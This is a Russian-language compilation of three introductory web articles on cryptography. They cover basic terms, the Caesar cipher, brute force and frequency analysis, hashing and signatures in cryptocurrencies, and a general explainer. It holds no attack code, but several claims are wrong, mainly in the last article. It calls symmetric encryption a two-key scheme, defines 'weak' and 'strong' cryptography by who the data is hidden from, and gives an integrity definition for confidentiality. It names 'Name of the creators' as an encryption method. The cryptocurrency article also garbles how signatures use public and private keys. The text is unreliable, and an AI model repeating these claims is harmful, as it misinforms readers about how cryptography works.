    Криптография — наука о методах изложения о информации, которые скрывают смысл изложенного путём перестановки информационных единиц по определённой системе.

    Криптография в переводе с греческого языка означает «скрытное написание»: κρυπτός — «скрытый» и γράφω — «пишу».

    Люди, занимающиеся криптографией, называются Криптографы. Специалисты в области вскрытия шифров называются Криптоаналитики.

    Наука, объединяющая криптографию и криптоанализ, называется Криптология.

    Немного простой математики:

    Схематично, математическим языком, элементарный процесс шифрования и дешифрования информации можно выразить так:

    • E(P) = C — процесс простого шифрования.

    E — функция шифрования.

    P — информация для шифрования (обычное сообщение: текст, аудио, видео — любой битовый поток).

    C — зашифрованный результат.

    • D(C) = P — процесс дешифрования (преобразование зашифрованной информации в простой вид).

    D — функция дешифрования.

    Таким образом, отношения шифрования и последующего дешифрования информации можно выразить формулой: D(E(P)) = P.

    Основные задачи криптографии

    Криптография позволяет решить основные задачи по обеспечению: аутентификации, целостности и неоспоримости данных.

    • Аутентификация позволяет установить, что сообщение исходит от конкретного отправителя.
    • Проверка целостности информации позволяет установить/исключить факт перехвата зашифрованного сообщения и внесения в его содержимое изменений.
    • Проверка неоспоримости авторства отправителя сообщения необходима для исключения возможных отрицаний причастности конкретных отправителей к отправленному сообщению.

    Гражданское применение криптографии

    Криптографические механизмы защиты информации в гражданском обороте применяются для защиты информации составляющей коммерческую тайну, персональные данные граждан и другие виды информации с ограниченным доступом.

    Также, в коммерческой и социальной сфере криптографические механизмы в виде электронно-цифровой подписи (ЭЦП) используются для фиксирования результатов и условий заключения договоров.

    Криптографические механизмы применяются в программно-аппаратных устройствах, являющихся средствами криптографической защиты информации (СКЗИ).

    ***

    Дополнительные сведения о криптографических устройствах можно узнать на канале «ИНФОРМАЦИОННОЕ ПРАВО в обществе», например, в нарративе Аппаратные средства защиты информации.

    5 декабря 2018 г.

    дополнительно, статьи о древних шифрах:

    автор: Демешин Сергей Владимирович.

    Что такое криптография и как применяется в криптовалюте

    Изучая криптовалюты, однажды вы неизбежно наткнётесь на термин «криптография». В интересующей нас сфере криптография имеет множество функций. В их числе — защита данных, использование в составлении паролей, оптимизация банковской системы и т.д. В этой статье мы познакомим вас с основами криптографии и обсудим её значение для криптовалют.

    История криптографии

    Криптография — это метод безопасного сокрытия информации. Чтобы раскрыть информацию, читателю необходимо знать, каким образом информация была изменена или зашифрована. Если сообщение было качественно зашифровано, прочитать его смогут только отправитель и получатель.

    Криптография отнюдь не нова, она существует уже тысячи лет. Исторически криптография использовалась для отправки важных сообщений, чтобы скрыть их от лишних глаз. Первые криптографические сообщения были найдены у древних египтян, однако подтверждённое использование шифров в стратегических целях относится к эпохе Древнего Рима.

    По словам историков, Юлий Цезарь использовал криптографию и даже создал так называемый шифр Цезаря, чтобы отправлять секретные сообщения высокопоставленным генералам. Этот метод защиты конфиденциальной информации от нежелательных глаз использовался вплоть до новейшей истории.

    Во время Второй мировой войны немцы использовали машину шифрования «Энигма», чтобы передавать важную информацию. Алан Тьюринг, математический человек и гений, в чью честь впоследствии был назван тест Тьюринга, нашёл способ её взломать. Сейчас взлом «Энигмы» считают одним из основных переломных моментов во Второй мировой.

    Основы криптографии

    Вышеупомянутый шифр Цезаря — один из простейших способов шифрования сообщений, полезный для понимания криптографии. Его также называют шифром сдвига, поскольку он заменяет исходные буквы сообщения другими буквами, находящимися в определённой позиции по отношению к первичной букве в алфавите.

    Например, если мы зашифруем сообщение через шифр +3 на английском языке, то A станет D, а K станет N. Если же использовать правило -2, то D станет B, а Z станет X.

    read everything on invest in blockchain

    uhdghyhubwklqjrqlqyhvwlqeorfnfkdlq

    Это самый простой пример использования криптографии, однако на похожей логике строится и любой другой метод. Существует сообщение, которое секретно для всех, кроме заинтересованных сторон, и процесс, направленный на то, чтобы сделать это сообщение нечитаемым для всех, кроме отправителя и получателя. Этот процесс называется шифрованием и состоит из двух элементов:

    Шифр — это набор правил, которые вы используете для кодирования информации. Например, сдвиг на X букв в алфавите в примере с шифром Цезаря. Шифр не обязательно должен быть засекречен, потому что сообщение можно будет прочитать только при наличии ключа.

    Ключ — значение, описывающее, каким именно образом использовать набор правил шифрования. Для шифра Цезаря это будет число букв для сдвига в алфавитном порядке, например +3 или -2. Ключ — это инструмент для дешифровки сообщения.

    Таким образом, многие люди могут иметь доступ к одному и тому же шифру, но без ключа они всё равно не смогут его взломать.

    Процесс передачи секретного сообщения идёт следующим образом:

    • сторона A хочет отправить сообщение стороне B, но при этом ей важно, чтобы никто другой его не прочитал;
    • сторона A использует ключ для преобразования текста в зашифрованное сообщение;
    • сторона B получает зашифрованный текст;
    • сторона B использует тот же ключ для расшифровки зашифрованного текста и теперь может читать сообщение.

    Эволюция криптографии

    Сообщения шифруются для защиты их содержимого. Это подразумевает, что всегда будут стороны, заинтересованные в получении данной информации. Поскольку люди так или иначе достигают успехов в расшифровке различных кодов, криптография вынуждена адаптироваться. Современная криптография далеко ушла от обычного смещения букв в алфавите, предлагая сложнейшие головоломки, которые решать с каждым годом всё труднее. Вместо банального смещения буквы теперь могут заменяться на числа, другие буквы и различные символы, проходя через сотни и тысячи промежуточных шагов.

    Цифровая эпоха привела к экспоненциальному увеличению сложности шифрования. Это связано с тем, что компьютеры принесли с собой резкое увеличение вычислительной мощности. Человеческий мозг по-прежнему остаётся самой сложной информационной системой, но, когда дело доходит до выполнения вычислений, компьютеры намного быстрее и могут обрабатывать гораздо больше информации.

    Криптография цифровой эры связана с электротехникой, информатикой и математикой. В настоящее время сообщения обычно шифруются и дешифруются с использованием сложных алгоритмов, созданных с использованием комбинаций этих технологий. Однако, независимо от того, насколько сильным будет шифрование, всегда будут люди, работающие над его взломом.

    Взлом кода

    Вы можете заметить, что даже без ключа шифр Цезаря не так сложно взломать. Каждая буква может принимать только 25 разных значений, а для большинства значений сообщение не имеет смысла. С помощью проб и ошибок вы сможете расшифровать сообщение без особых усилий.

    Взлом шифрования с использованием всех возможных вариаций называют брутфорсом (bruteforce, англ. — грубая сила). Такой взлом предполагает подбор всех возможных элементов до тех пор, пока решение не будет найдено. С увеличением вычислительных мощностей брутфорс становится всё более реалистичной угрозой, единственный способ защиты от которой — увеличение сложности шифрования. Чем больше возможных ключей, тем сложнее получить доступ к вашим данным «грубой силой».

    Современные шифры позволяют использовать триллионы возможных ключей, делая брутфорс менее опасным. Тем не менее утверждается, что суперкомпьютеры и в особенности квантовые компьютеры вскоре смогут взломать большинство шифров посредством брутфорса из-за своих непревзойдённых вычислительных мощностей.

    Как уже говорилось, расшифровка сообщений со временем становится всё труднее. Но нет ничего невозможного. Любой шифр неотъемлемо связан с набором правил, а правила в свою очередь могут быть проанализированы. Анализом правил занимается более тонкий метод дешифровки сообщений — частотный анализ.

    С колоссальным усложнением шифров в наши дни эффективный частотный анализ можно осуществить только с использованием компьютеров, но это всё ещё возможно. Этот метод анализирует повторяющиеся события и пытается найти ключ, используя эту информацию.

    Давайте снова рассмотрим пример шифра Цезаря, чтобы разобраться. Мы знаем, что буква E используется гораздо чаще, чем другие буквы в латинском алфавите. Когда мы применяем это знание к зашифрованному сообщению, мы начинаем искать букву, которая повторяется чаще всего. Мы находим, что буква H используется чаще других, и проверяем наше предположение, применяя к сообщению сдвиг -3. Чем длиннее сообщение, тем легче применить к нему частотный анализ.

    uhdghyhubwklqjrqlqyhvwlqeorfnfkdlq

    Криптография и криптовалюты

    Большинство криптовалют служат совершенно другим целям, нежели отправка секретных сообщений, но, несмотря на это, криптография играет здесь ключевую роль. Оказалось, что традиционные принципы криптографии и используемые для неё инструменты имеют больше функций, чем мы привыкли считать.

    Наиболее важные новые функции криптографии — это хеширование и цифровые подписи.

    Хеширование

    Хеширование — это криптографический метод преобразования больших объёмов данных в короткие значения, которые трудно подделать. Это ключевой компонент технологии блокчейн, касающийся защиты и целостности данных, протекающих через систему.

    Этот метод в основном используется для четырёх процессов:

    • верификация и подтверждение остатков в кошельках пользователей;
    • кодирование адресов кошельков;
    • кодирование транзакций между кошельками;
    • майнинг блоков (для криптовалют, предполагающих такую возможность) путём создания математических головоломок, которые необходимо решить, чтобы добыть блок.

    Цифровые подписи

    Цифровая подпись в некотором смысле представляет собой аналог вашей реальной подписи и служит для подтверждения вашей личности в сети. Когда речь заходит о криптовалютах, цифровые подписи представляют математические функции, которые сопоставляются с определённым кошельком.

    Таким образом, цифровые подписи — это своего рода способ цифровой идентификации кошелька. Прилагая цифровую подпись к транзакции, владелец кошелька доказывает всем участникам сети, что сделка исходила именно от него, а не от кого-либо другого.

    Цифровые подписи используют криптографию для идентификации кошелька и тайно связаны с общедоступным и приватным ключами кошелька. Ваш общедоступный ключ — это аналог вашего банковского счёта, в то время как приватный ключ — ваш пин-код. Не имеет значения, кто знает номер вашего банковского счета, потому что единственное, что с ним смогут сделать, — это внести деньги на ваш счёт. Однако, если они знают ваш пин-код, у вас могут возникнуть реальные проблемы.

    В блокчейне приватные ключи используются для шифрования транзакции, а открытый ключ — для дешифровки. Это становится возможным, потому что отправляющая сторона отвечает за транзакцию. Передающая сторона шифрует транзакцию своим приватным ключом, но её можно дешифровать с помощью открытого ключа получателя, потому что единственное назначение этого процесса заключается в верификации отправителя. Если открытый ключ не срабатывает при дешифровке транзакции, она не выполняется.

    В такой системе открытый ключ распространяется свободно и тайно соотносится с приватным ключом. Проблемы нет, если открытый ключ известен, но приватный ключ всегда должен находиться в тайне. Несмотря на соотношение двух ключей, вычисление приватного ключа требует невероятных вычислительных мощностей, что делает взлом финансово и технически невозможным.

    Необходимость защиты ключа — основной недостаток этой системы. Если кому-то станет известен ваш приватный ключ, он сможет получить доступ к вашему кошельку и совершать с ним любые транзакции, что уже происходило с Bloomberg, когда один из ключей сотрудников был показан по телевизору.

    Заключение

    Криптография в блокчейне имеет множество разных уровней. В этой статье рассматриваются только основы и общие принципы использования криптографии, однако этот вопрос куда глубже, чем может показаться на первый взгляд.

    Важно понимать взаимосвязь между криптографией и технологией блокчейн. Криптография позволяет создать систему, в которой сторонам не нужно доверять друг другу, так как они могут положиться на используемые криптографические методы.

    С момента своего появления в 2009 году криптографическая защита блокчейна биткоина выдержала все попытки подделки данных, а их было бесчисленное множество. Новые криптовалюты реализуют ещё более безопасные методы криптографии, некоторые из которых даже защищены от брутфорса квантовых процессоров, то есть предупреждают угрозы будущего.

    Без криптографии не могло быть биткоина и криптовалют в целом. Удивительно, но этот научный метод, изобретённый тысячи лет назад, сегодня держит наши цифровые активы в целости и сохранности.

    Что такое криптография и как она работает?

    Автор Исхаков Максим На чтение 4 мин. Просмотров 59 Опубликовано

    Что такое криптография и как она работает?Что такое криптография и как она работает?

    Сегодня интернет стал важной частью жизни любого человека. Весь мир – как один щелчок. Мы полагаемся на интернет для различных целей, таких как оставаться на связи с друзьями, оплачивать счета в интернете, получать электронные письма для работы. Более того, использование интернета сделало нашу жизнь проще, чем когда-либо. Безусловно, интернет открыл двери для многих возможностей, однако, открытые двери сделали наши устройства уязвимыми для кибератак и других угроз. В этой статье мы поговорим о криптографии. Что это такое и чем она полезна мы расскажем ниже.

    Что такое небезопасная среда?

    При отправке ваших данных интернет разбивает их на пакеты для доставки до места назначения. Чтобы обеспечить безопасность этих данных, они не отправляются непосредственно в пункт назначения. Пакеты используют многочисленные пути для защиты данных от злоумышленников и трекеров. Кибер-злоумышленники пытаются прочитать эти данные и проникнуть в них, поскольку они доступны в читаемом и удобном формате.
    Таким образом, этот простой и читабельный формат является тем, что дает преимущество хакерам, и они могут получить доступ к вашим конфиденциальным данным с легкостью.

    Как обезопасить свои данные?

    Чтобы обеспечить надежную защиту и передачу данных другой стороне, важно предотвратить вторжение злоумышленников и их действия. Поскольку злоумышленники нам неизвестны и значит их невозможно остановить от доступа к информации, тогда необходимо убедиться, что формат данных не читаем и зашифрован. Процесс, делающий данные нечитаемыми, называется криптографией.

    Что такое криптография?

    Криптография – это греческое слово, которое означает “тайное письмо”. Это искусство и наука преобразования сообщения в защищенную форму, которая невосприимчива к кибератакам. По сути, это метод обеспечения конфиденциальности сообщения путем внедрения процесса шифрования и расшифровки.

    Другими словами, криптография позволяет вам сохранять конфиденциальные данные и передавать их через интернет (незащищенные сети), поэтому они становятся нечитаемыми для всех, кроме предполагаемой стороны.

    На видео: Что такое криптография?

    Как это работает?

    Для шифрования простого слова криптографический алгоритм использует механизм шифрования и процесса расшифровки. Этот процесс может быть комбинацией букв алфавита, цифр или фраз. Чтобы сохранить данные нечитаемыми для злоумышленников, незашифрованный текст шифруется в различные зашифрованные тексты с многочисленными ключами. Ну а безопасность зашифрованных данных полностью зависит от двух факторов: конфиденциальности ключа и возможности криптографического алгоритма.Как это работает криптографияКак это работает криптография

    Что такое обычная криптография?

    Обычная криптография работает с симметричным шифрованием и секретным ключом, где один из ключей используется для шифрования, а другой-для расшифровки. DES является отличным примером обычной криптосистемы, которая активно используется федеральным правительством.

    Что такое сильная криптография?

    Существует два типа криптографии: слабая и сильная. Слабая криптография – это когда вы не даете своим друзьям доступ к вашим сообщениям. При этом, когда вы защищаете свои данные от правительства, то это сильная криптография. Это скрытая и зашифрованная связь, которая полностью защищена от криптографического анализа и расшифровки. Целью сильной криптографии является обеспечение того, чтобы данные считывались только для предполагаемого получателя.
    Сильная криптография в основном используется правительствами для защиты своей информации и сообщений. Однако во многих странах обычные люди также могут воспользоваться преимуществами сильной криптографии.

    Каковы основные функции криптографии?

    Существует пять основных и первичных функций криптографии.

    • Аутентификация:
      Аутентификация – это процесс проверки личности пользователя.
    • Обмен ключами:
      Это эффективный способ обмена криптографическими ключами между получателем и отправителем.
    • Неотрицание:
      Это механизм, который используется для установления личности отправителя.
    • Цельность:
      Убедиться, что сообщение не будет изменено до того, как оно дойдет до получателя.
    • Конфиденциальность:
      Обеспечение того, чтобы сообщение не было изменено каким-либо образом, прежде чем оно достигнет получателя.

    Для защиты данных от кибер-преследователей используется множество подходов к шифрованию для усиления безопасности. Распространенными методами являются Secure Hash Algorithm, Message Digest -5, Name of the creators, Data Encryption Standard и Advanced Encryption Standard.

    На видео: Принципы шифрования и криптографии. Расшифруйте послание!

    Добавить комментарий

    Ваш адрес email не будет опубликован. Обязательные поля помечены *